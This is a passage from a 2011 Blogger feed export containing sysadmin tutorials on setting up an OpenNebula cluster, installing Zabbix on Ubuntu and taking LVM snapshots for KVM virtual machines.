97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ mkdir .one&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~$ cat .one/one_auth&lt;br /&gt;oneadmin:xxxxxx&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We need to generate ssh keys for &lt;span style="font-style: italic;"&gt;oneadmin&lt;/span&gt; user, in order to be able to connect with the rest of servers without typing a password. By means of the &lt;span style="font-style: italic;"&gt;hushlogin&lt;/span&gt; file, we avoid the SSH welcome banner, and through the &lt;span style="font-style: italic;"&gt;StrictHostKeyChecking&lt;/span&gt; directive, the SSH client not to ask about adding hosts to &lt;span style="font-style: italic;"&gt;known_hosts&lt;/span&gt; file.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ ssh-keygen&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~$ cat .ssh/id_rsa.pub &amp;gt;&amp;gt; .ssh/authorized_keys&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~$ cat .ssh/config&lt;br /&gt;Host *&lt;br /&gt;    StrictHostKeyChecking no&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~$ touch .hushlogin&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, we are going to install MySQL (and its necessary dependences for the OpenNebula compilation) and set up a database called &lt;span style="font-style: italic;"&gt;opennebula&lt;/span&gt;. It will be manage by OpenNebula so as to store its data.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:~# aptitude install mysql-server libmysql++-dev libxml2-dev&lt;br /&gt;&lt;br /&gt;root@frontend01:~# mysql_secure_installation&lt;br /&gt;&lt;br /&gt;root@frontend01:~# mysql -u root -p&lt;br /&gt;...&lt;br /&gt;mysql&amp;gt; GRANT ALL PRIVILEGES ON opennebula.* TO 'oneadmin' IDENTIFIED BY 'xxxxxx';&lt;br /&gt;Query OK, 0 rows affected (0.00 sec)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Also say that as in any cluster, all nodes have to be synchronized.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:~# crontab -e&lt;br /&gt;...&lt;br /&gt;0 * * * * ntpdate pool.ntp.org&lt;br /&gt;&lt;br /&gt;root@storage01:~# crontab -e&lt;br /&gt;...&lt;br /&gt;0 * * * * ntpdate pool.ntp.org&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-6247830037415228286?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/6247830037415228286/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/opennebula-installation-on-ubuntu-i.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6247830037415228286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6247830037415228286'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/opennebula-installation-on-ubuntu-i.html' title='OpenNebula installation on Ubuntu (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-1427921149172988214</id><published>2011-06-07T23:20:00.003+02:00</published><updated>2011-11-01T21:37:07.356+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cloud computing'/><title type='text'>Cloud computing with OpenNebula</title><content type='html'>&lt;a href="http://opennebula.org/"&gt;OpenNebula&lt;/a&gt; is an IaaS (Infraestructure as a Service) open source solution which allows to build private, public and hybrid clouds. It has been designed to be able to integrate with any kind of network or storage system and supports the main types of hypervisors: &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html"&gt;KVM&lt;/a&gt;, &lt;a href="http://redes-privadas-virtuales.blogspot.com/2009/12/vmware-esxi-y-vsphere.html"&gt;VMware vSphere (ESXi)&lt;/a&gt; and Xen.&lt;br /&gt;&lt;br /&gt;Next figure shows a typical schema of an OpenNebula infrastructure, which I am going to develop in future articles.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-3q8cxsJ8_dY/Te6WaLzXl_I/AAAAAAAAAlI/JEPpjThccUU/s1600/Cloud%2Bcomputing%2Bwith%2BOpenNebula.jpg"&gt;&lt;img alt="" border="0" height="296" id="BLOGGER_PHOTO_ID_5615591161966598130" src="http://4.bp.blogspot.com/-3q8cxsJ8_dY/Te6WaLzXl_I/AAAAAAAAAlI/JEPpjThccUU/s400/Cloud%2Bcomputing%2Bwith%2BOpenNebula.jpg" style="display: block; height: 296px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The server named &lt;span style="font-style: italic;"&gt;fronted01&lt;/span&gt; runs OpenNebula and the cluster services. The principal components of OpenNebula are the daemon (manage the life cycle of virtual machines, network, storage and hypervisors), the scheduler (manage the deployment of virtual machines) and the drivers (manage the hypervisor interfaces - VMM -, monitoring - IM - and virtual machines transfers - TM -).&lt;br /&gt;&lt;br /&gt;OpenNebula needs too a database to save the information. We have two options: SQLite and MySQL. In my architecture, I will use MySQL and it will be installed on &lt;span style="font-style: italic;"&gt;frontend01&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;With respect to the storage, OpenNebula works with three possibilities: shared - NFS (there is a shared data area accessible by OpenNebula server and computational nodes), non-shared - SSH (there is no shared area - live migrations cannot be used) and LVM (there must be a block device available in all nodes).&lt;br /&gt;&lt;br /&gt;In the articles that I will write about it, I will configure a NFS shared into the &lt;span style="font-style: italic;"&gt;storage01&lt;/span&gt; server. It is normal as well to find some architecture where the storage is established inside the front-end. Also point out that the storage is used for keeping the virtual images and machines.&lt;br /&gt;&lt;br /&gt;As in any classical IaaS solution, we require the computing nodes (also known as worker nodes), which supply the raw computing power and where the virtual machines are run. In this example, I will employ two hypervisors: KVM (&lt;span style="font-style: italic;"&gt;kvm01&lt;/span&gt;) and VMware vSphere (&lt;span style="font-style: italic;"&gt;esxi01&lt;/span&gt;). OpenNebula must be able to start, control and monitor the virtual machines. The communication between OpenNebula and nodes will be carry out through the drivers previously configured.&lt;br /&gt;&lt;br /&gt;We can appreciate that OpenNebula is a fully scalable system, since we can add more computational nodes or storage servers based on our needs.&lt;br /&gt;&lt;br /&gt;Other features are portability and interoperability, due to we may utilize most of the existing hardware to set up the clusters.&lt;br /&gt;&lt;br /&gt;And finally, we face an open and standard architecture model, and besides, it can operate with other public clouds such as Amazon.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-1427921149172988214?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/1427921149172988214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/cloud-computing-with-opennebula.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1427921149172988214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1427921149172988214'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/cloud-computing-with-opennebula.html' title='Cloud computing with OpenNebula'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-3q8cxsJ8_dY/Te6WaLzXl_I/AAAAAAAAAlI/JEPpjThccUU/s72-c/Cloud%2Bcomputing%2Bwith%2BOpenNebula.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-3757653024610206379</id><published>2011-06-01T13:14:00.014+02:00</published><updated>2011-11-01T21:38:34.246+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Monitoring'/><title type='text'>Zabbix server installation on Ubuntu (II)</title><content type='html'>We are going to conclude the last part of the &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/05/zabbix-server-installation-on-ubuntu-i.html"&gt;Zabbix server installation on Ubuntu&lt;/a&gt; by setting up a new Apache web site for Zabbix.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/apache2/sites-available/zabbix&lt;br /&gt;&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;Alias /zabbix /usr/share/zabbix&lt;br /&gt;ErrorLog /var/log/apache2/zabbix-error.log&lt;br /&gt;CustomLog /var/log/apache2/zabbix-access.log common&lt;br /&gt;&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# a2dissite default&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# a2ensite zabbix&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Besides it is also necessary to modify the PHP configuration file for adjusting it with the Zabbix requirements.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/php5/apache2/php.ini&lt;br /&gt;...&lt;br /&gt;memory_limit = 256M&lt;br /&gt;&lt;br /&gt;post_max_size = 32M&lt;br /&gt;&lt;br /&gt;upload_max_filesize = 16M&lt;br /&gt;&lt;br /&gt;max_execution_time = 600&lt;br /&gt;&lt;br /&gt;max_input_time = 600&lt;br /&gt;&lt;br /&gt;date.timezone = Europe/Madrid&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Finally, we have to open a web browser, point to the Zabbix URL (&lt;i&gt;http://ubuntu-server/zabbix&lt;/i&gt; in my case) and fulfill the wizard. In the first screen, Zabbix checks the pre-requisites and warns us if something is wrong.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-f-NMpXWlrlU/TeYnU_iakJI/AAAAAAAAAks/EVw9j_DLa2g/s1600/zabbix-ubuntu-1.jpeg"&gt;&lt;img alt="" border="0" height="376" id="BLOGGER_PHOTO_ID_5613217227170549906" src="http://2.bp.blogspot.com/-f-NMpXWlrlU/TeYnU_iakJI/AAAAAAAAAks/EVw9j_DLa2g/s400/zabbix-ubuntu-1.jpeg" style="display: block; height: 376px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In the fourth step (&lt;i&gt;Configure DB connection&lt;/i&gt;), we have to enter the configuration parameters for the database connection.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-xZaviMNaXQk/TeYnklV08vI/AAAAAAAAAk0/HH5uSqWWWwM/s1600/zabbix-ubuntu-2.jpeg"&gt;&lt;img alt="" border="0" height="376" id="BLOGGER_PHOTO_ID_5613217495016338162" src="http://3.bp.blogspot.com/-xZaviMNaXQk/TeYnklV08vI/AAAAAAAAAk0/HH5uSqWWWwM/s400/zabbix-ubuntu-2.jpeg" style="display: block; height: 376px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;At the end of the wizard, we must download the Zabbix PHP configuration file (&lt;i&gt;zabbix.conf.php&lt;/i&gt;) by clicking on the &lt;i&gt;Save configuration file&lt;/i&gt; button.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-0JI_t0I0NUw/TeYnvjEH4sI/AAAAAAAAAk8/JI3dpiIa3WY/s1600/zabbix-ubuntu-4.jpeg"&gt;&lt;img alt="" border="0" height="376" id="BLOGGER_PHOTO_ID_5613217683383771842" src="http://2.bp.blogspot.com/-0JI_t0I0NUw/TeYnvjEH4sI/AAAAAAAAAk8/JI3dpiIa3WY/s400/zabbix-ubuntu-4.jpeg" style="display: block; height: 376px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then we have to copy that file into the &lt;i&gt;/usr/share/zabbix/conf&lt;/i&gt; directory and fix it the suitable permissions.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# chmod 600 /usr/share/zabbix/conf/zabbix.conf.php&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# chown www-data:www-data /usr/share/zabbix/conf/zabbix.conf.php&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-3757653024610206379?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/3757653024610206379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/zabbix-server-installation-on-ubuntu-ii.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3757653024610206379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3757653024610206379'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/zabbix-server-installation-on-ubuntu-ii.html' title='Zabbix server installation on Ubuntu (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-f-NMpXWlrlU/TeYnU_iakJI/AAAAAAAAAks/EVw9j_DLa2g/s72-c/zabbix-ubuntu-1.jpeg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-4031703494112791420</id><published>2011-05-22T17:50:00.021+02:00</published><updated>2011-11-01T21:39:28.499+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Taking snapshots on KVM with LVM</title><content type='html'>In one article, we already saw how to &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/03/taking-snapshots-on-kvm-with-libvirt.html"&gt;take snapshots on KVM with libvirt&lt;/a&gt;. In this post, I am presenting another possible alternative to libvirt and it is by means of LVM (&lt;i&gt;Logical Volume Management&lt;/i&gt;).&lt;br /&gt;&lt;br /&gt;The idea is to create the virtual machine on a LV (&lt;i&gt;Logical Volume&lt;/i&gt;) and afterwards, by using a feature called snapshot LV, to get an exact copy of that volume.&lt;br /&gt;&lt;br /&gt;For my tests, I will utilize Kubuntu 11.04 (64 bits). First of all, I am going to set a LV so as to make up a virtual machine on it. Remember that if you want to set up a LV on a partition, this one must be marked as &lt;i&gt;Linux LVM&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ sudo fdisk -l&lt;br /&gt;...&lt;br /&gt;/dev/sdb1            7945        8992     8417280   8e  Linux LVM&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In order to create a LV on a partition, we can follow the next steps. At the end, we will format the volume as ext4 (or another kind of format that you prefer).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ pvcreate /dev/sdb1&lt;br /&gt;&lt;br /&gt;javi@kubuntu:~$ vgcreate VolGroup00 /dev/sdb1&lt;br /&gt;&lt;br /&gt;javi@kubuntu:~$ sudo lvcreate -n LogVol00 -L 2G VolGroup00&lt;br /&gt;&lt;br /&gt;javi@kubuntu:~$ sudo mkfs.ext4 /dev/VolGroup00/LogVol00&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The following figure shows a stage of the Virtual Machine Manager wizard, specifically the part where you have to pick the storage out. I have choosen the previous LV created. On this LV, I will make a new virtual machine (&lt;i&gt;UbuntuServer_10.10&lt;/i&gt;, 2 GB virtual hard disk) which will be used before for the snapshotting.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-sv1hARYgn0E/Tdk5iVejAkI/AAAAAAAAAkc/r_Gc8X-b0vc/s1600/Taking%2Bsnapshots%2Bon%2BKVM%2Bwith%2BLVM.jpeg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5609578072910266946" src="http://4.bp.blogspot.com/-sv1hARYgn0E/Tdk5iVejAkI/AAAAAAAAAkc/r_Gc8X-b0vc/s400/Taking%2Bsnapshots%2Bon%2BKVM%2Bwith%2BLVM.jpeg" style="cursor: hand; cursor: pointer; display: block; height: 351px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;At this point, we are ready to take a snapshot through LVM. Really easy.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ sudo lvcreate -n UbuntuServer_10.10-22052011 -L 512M -s /dev/VolGroup00/LogVol00&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By taking the snapshot with the preceding command, a new LV is created on the same VG (&lt;i&gt;Volume Group&lt;/i&gt;) that &lt;i&gt;LogVol01&lt;/i&gt;, that is to say, &lt;i&gt;VolGroup00&lt;/i&gt; in my case. For this reason, we must make sure that there is enough free space on the VG.&lt;br /&gt;&lt;br /&gt;You have to take into account how a snapshot works. When you take a snapshot, the original virtual disk (&lt;i&gt;LogVol01&lt;/i&gt;) is frozen and all changes are stored into the snapshot (&lt;i&gt;UbuntuServer_10.10-22052011&lt;/i&gt;). So as to demonstrate it, we are going to display the LVs state once the snapshot has been taken.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ sudo lvdisplay&lt;br /&gt;--- Logical volume ---&lt;br /&gt;LV Name                /dev/VolGroup00/LogVol00&lt;br /&gt;VG Name                VolGroup00&lt;br /&gt;LV UUID                Ag34Yq-990o-eyei-ClnF-OjCA-QltD-BrI39w&lt;br /&gt;LV Write Access        read/write&lt;br /&gt;LV snapshot status     source of&lt;br /&gt;      /dev/VolGroup00/UbuntuServer_10.10-22052011 [active]&lt;br /&gt;LV Status              available&lt;br /&gt;# open                 0&lt;br /&gt;LV Size                2,00 GiB&lt;br /&gt;Current LE             512&lt;br /&gt;Segments               1&lt;br /&gt;Allocation             inherit&lt;br /&gt;Read ahead sectors     auto&lt;br /&gt;- currently set to     256&lt;br /&gt;Block device           252:0&lt;br /&gt;&lt;br /&gt;--- Logical volume ---&lt;br /&gt;LV Name                /dev/VolGroup00/UbuntuServer_10.10-22052011&lt;br /&gt;VG Name                VolGroup00&lt;br /&gt;LV UUID                PSpJH0-ANEu-HW4W-YnLj-00Ta-g2Gz-WedRqi&lt;br /&gt;LV Write Access        read/write&lt;br /&gt;LV snapshot status     active destination for /dev/VolGroup00/LogVol00&lt;br /&gt;LV Status              available&lt;br /&gt;# open                 0&lt;br /&gt;LV Size                2,00 GiB&lt;br /&gt;Current LE             512&lt;br /&gt;&lt;b&gt;COW-table size         512,00 MiB&lt;/b&gt;&lt;br /&gt;COW-table LE           128&lt;br /&gt;&lt;b&gt;Allocated to snapshot  0,00%&lt;/b&gt;&lt;br /&gt;Snapshot chunk size    4,00 KiB&lt;br /&gt;Segments               1&lt;br /&gt;Allocation             inherit&lt;br /&gt;Read ahead sectors     auto&lt;br /&gt;- currently set to     256&lt;br /&gt;Block device           252:1&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The previous output indicates us that we can save up to 512 MB of data for our snapshot (&lt;i&gt;COW-table size&lt;/i&gt;), and 0% of that space is being used (&lt;i&gt;Allocated to snapshot&lt;/i&gt;). Then we are going to make a little change inside the virtual machine, for example to create a new file of 256 MB.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@ubuntu-server:~$ dd if=/dev/zero of=file bs=1M count=256&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now if we take a look at the LV state again, we can see that the 50% of the snapshot has already been allocated.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ sudo lvdisplay /dev/VolGroup00/UbuntuServer_10.10-22052011&lt;br /&gt;--- Logical volume ---&lt;br /&gt;LV Name                /dev/VolGroup00/UbuntuServer_10.10-22052011&lt;br /&gt;VG Name                VolGroup00&lt;br /&gt;LV UUID                PSpJH0-ANEu-HW4W-YnLj-00Ta-g2Gz-WedRqi&lt;br /&gt;LV Write Access        read/write&lt;br /&gt;LV snapshot status     active destination for /dev/VolGroup00/LogVol00&lt;br /&gt;LV Status              available&lt;br /&gt;# open                 0&lt;br /&gt;LV Size                2,00 GiB&lt;br /&gt;Current LE             512&lt;br /&gt;COW-table size         512,00 MiB&lt;br /&gt;COW-table LE           128&lt;br /&gt;&lt;b&gt;Allocated to snapshot  50,45%&lt;/b&gt;&lt;br /&gt;Snapshot chunk size    4,00 KiB&lt;br /&gt;Segments               1&lt;br /&gt;Allocation             inherit&lt;br /&gt;Read ahead sectors     auto&lt;br /&gt;- currently set to     256&lt;br /&gt;Block device           252:1&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, if we want to bring back a specific snapshot, we must execute the following sentence.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ sudo lvconvert --merge VolGroup00/UbuntuServer_10.10-22052011&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-4031703494112791420?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/4031703494112791420/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/05/taking-snapshots-on-kvm-with-lvm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4031703494112791420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4031703494112791420'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/05/taking-snapshots-on-kvm-with-lvm.html' title='Taking snapshots on KVM with LVM'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-sv1hARYgn0E/Tdk5iVejAkI/AAAAAAAAAkc/r_Gc8X-b0vc/s72-c/Taking%2Bsnapshots%2Bon%2BKVM%2Bwith%2BLVM.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2253738477358226890</id><published>2011-05-14T20:28:00.010+02:00</published><updated>2011-11-01T21:40:16.107+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Monitoring'/><title type='text'>Zabbix server installation on Ubuntu (I)</title><content type='html'>Some time ago I wrote an article about the &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/02/instalacion-del-servidor-zabbix-partir.html"&gt;installation of Zabbix server from its source code on CentOS&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Now I wanted to explain how to install it but this time, on Ubuntu. For my tests, I am going to use an Ubuntu Server 11.04 (64 bits) and Zabbix 1.8.5. For this infraestructure, we need MySQL and Apache. Let's start installing the necessary packages.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# aptitude install build-essential apache2 mysql-server libmysqld-dev snmpd libsnmp-dev php5 php5-mysql php5-gd libcurl4-openssl-dev libiksemel-dev libopenipmi-dev libssh2-1-dev fping&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# mysql_secure_installation&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;As well it is important to run the &lt;i&gt;mysql_secure_installation&lt;/i&gt; script in order to remove the anonymous user and the test database.&lt;br /&gt;&lt;br /&gt;First of all we have to set up the database which will be used by Zabbix.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# mysql -u root -p&lt;br /&gt;...&lt;br /&gt;mysql&amp;gt; CREATE DATABASE zabbix;&lt;br /&gt;Query OK, 1 row affected (0.00 sec)&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; CREATE USER 'zabbix'@'localhost' IDENTIFIED BY 'xxxxxx';&lt;br /&gt;Query OK, 0 rows affected (0.00 sec)&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; GRANT ALL PRIVILEGES ON zabbix.* TO 'zabbix'@'localhost';&lt;br /&gt;Query OK, 0 rows affected (0.00 sec)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Once we have downloaded the &lt;a href="http://www.zabbix.com/download.php"&gt;Zabbix source code&lt;/a&gt; and decompressed it, we have just to compile and install it. If we want to have the Zabbix client, we must mark the &lt;i&gt;--enable-agent&lt;/i&gt; parameter.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/zabbix-1.8.5# ./configure --enable-agent  --enable-ipv6  --enable-server --with-mysql --with-libcurl --with-net-snmp --with-jabber --with-ssh2 --with-openipmi&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.5# make ; make install&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next step is to create the needed directories and copy the 